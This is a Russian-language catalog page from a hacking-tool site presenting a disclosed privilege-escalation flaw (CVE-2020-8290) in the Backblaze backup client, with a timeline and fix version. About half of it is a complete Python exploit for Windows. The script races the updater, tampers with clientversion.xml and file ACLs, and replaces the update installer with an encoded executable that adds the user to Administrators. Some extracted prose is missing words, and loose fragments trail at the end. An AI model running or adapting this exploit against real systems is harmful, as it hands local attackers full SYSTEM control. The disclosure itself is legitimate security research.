Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Повышение привилегий в Backblaze | Kitploit
Инструменты/GitHubGitHub/geffner/cve-2020-8290
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Повышение привилегий в Backblaze

Репозиторий
5 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-8290 – Повышение привилегий в Backblaze

Сводка

Название: Повышение привилегий в Backblaze
CVE: CVE-2020-8290
Обнаружил: Jason Geffner
Вендор: Backblaze
Продукт: Backblaze for Windows и Backblaze for macOS
Риск: Высокий
Дата обнаружения: 2020-03-13
Дата публикации: 2020-09-09
Исправленная версия: 7.0.0.439

Введение

Согласно Википедии, Backblaze — это

"инструмент онлайн-резервного копирования, который позволяет пользователям Windows и macOS сохранять свои данные в выносных центрах обработки данных. Сервис предназначен для бизнеса и конечных пользователей, предоставляя неограниченное дисковое пространство и поддерживая файлы любого размера."

Уязвимые версии Backblaze for Windows и Backblaze for macOS содержат уязвимость высокого риска, которая позволяет локальному непривилегированному злоумышленнику выполнить атаку с повышением привилегий (EOP) и получить права SYSTEM/root.

Уязвимость

Сервисный процесс клиента Backblaze, называемый bzserv, работает как SYSTEM в Windows и как root в macOS. Каждые пару часов bzserv запускает программу bztransmit (выполняемую как SYSTEM/root) для загрузки XML-файла с именем clientversion.xml из центра обработки данных Backblaze, чтобы проверить, доступна ли более новая версия клиента Backblaze, и если да, загружает установщик последней версии клиента из центра обработки данных Backblaze. Загруженный установщик сохраняется в каталог %ProgramData%\Backblaze\bzdata\bzupdates в Windows и в каталог /Library/Backblaze.bzpkg/bzdata/bzupdates или /Library/Backblaze/bzdata/bzupdates в macOS. После загрузки bztransmit запускает загруженный установщик как SYSTEM через или как через .

В Windows каталог %ProgramData%\Backblaze\bzdata создается при установке таким образом, что локальные непривилегированные пользователи имеют права на чтение и запись. Процесс bztransmit создает дочерний каталог bzupdates, работая как SYSTEM, и после его создания непривилегированные пользователи не имеют к нему прав на чтение или запись. Однако процесс bztransmit не проверяет безопасным образом ACL этого каталога bzupdates, если он уже существовал, и не обновляет безопасным образом ACL, если каталог уже существовал. Таким образом, локальный непривилегированный злоумышленник может создать каталог %ProgramData%\Backblaze\bzdata\bzupdates до установки Backblaze или создать дочерний каталог bzupdates внутри %ProgramData%\Backblaze\bzdata после установки Backblaze и до того, как bztransmit создаст дочерний каталог bzupdates. Это позволяет злоумышленнику стать владельцем каталога bzupdates и получить полный контроль над файлами в этом каталоге. Таким образом, злоумышленник может изменить или заменить загруженный исполняемый файл обновления после его загрузки и до его выполнения, что позволяет выполнить локальное повышение привилегий.

В macOS каталог /Library/Backblaze.bzpkg/bzdata (или /Library/Backblaze/bzdata) создается при установке с правами 0777 (drwxrwxrwx), так что локальные непривилегированные пользователи имеют права на чтение и запись. Процесс bztransmit создает дочерний каталог bzupdates с правами 0755 (drwxr-xr-x), работая как root, и после его создания непривилегированные пользователи не имеют к нему прав на чтение или запись. Однако процесс bztransmit не проверяет безопасным образом права этого каталога bzupdates, если он уже существовал, и не обновляет безопасным образом права, если каталог уже существовал. Таким образом, локальный непривилегированный злоумышленник может создать дочерний каталог bzupdates внутри /Library/Backblaze.bzpkg/bzdata (или /Library/Backblaze/bzdata) после установки Backblaze и до того, как создаст дочерний каталог . Это позволяет злоумышленнику стать владельцем каталога и получить полный контроль над файлами в этом каталоге. Таким образом, злоумышленник может изменить или заменить загруженный исполняемый файл обновления после его загрузки и до его выполнения, что позволяет выполнить локальное повышение привилегий.

Доказательство концепции

Видео: https://youtu.be/OpC6neWd2aM

На видео выше показаны два одновременных входа в одну и ту же виртуальную машину: сеанс администратора слева и сеанс непривилегированного злоумышленника справа. На видео можно увидеть следующие шаги:

  1. Attacker выполняет net localgroup Administrators, чтобы показать, что учетная запись непривилегированного злоумышленника (с именем Attacker) не является членом группы Administrators.
  2. Attacker запускает python eop.py (исходный код которого приведен ниже).
  3. Затем администратор устанавливает Backblaze.
  4. Через шесть минут установленная служба Backblaze загружает clientversion.xml, который эксплойт перезаписывает.
  5. Еще через минуту установленная служба Backblaze загружает исполняемый файл обновления, который эксплойт перезаписывает.
  6. Затем служба Backblaze запускает перезаписанный установщик обновления, который добавляет учетную запись Attacker в группу Administrators.
  7. Затем злоумышленник снова запускает net localgroup Administrators, чтобы показать, что учетная запись Attacker действительно была добавлена в группу Administrators. Локальное повышение привилегий завершено.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

Устранение уязвимости

Backblaze исправила эту уязвимость в версии Backblaze 7.0.0.439.

Обнаруживший уязвимость

Эта уязвимость была обнаружена и передана в Backblaze Джейсоном Геффнером через HackerOne.

Хронология

2020-03-13 - Уязвимость обнаружена и передана в Backblaze через HackerOne
2020-03-26 - HackerOne подтвердил уязвимость
2020-04-22 - Назначен CVE-2020-8152
2020-04-22 - Выпущена сборка 7.0.0.439
2020-04-22 - Подтверждено устранение уязвимости
2020-04-23 - Запрошено публичное раскрытие
2020-09-09 - Публичное раскрытие 2020-12-22 - Назначение CVE изменено на CVE-2020-8290

Скачать инструмент
ShellExecute()
root
system()
bztransmit
bzupdates
bzupdates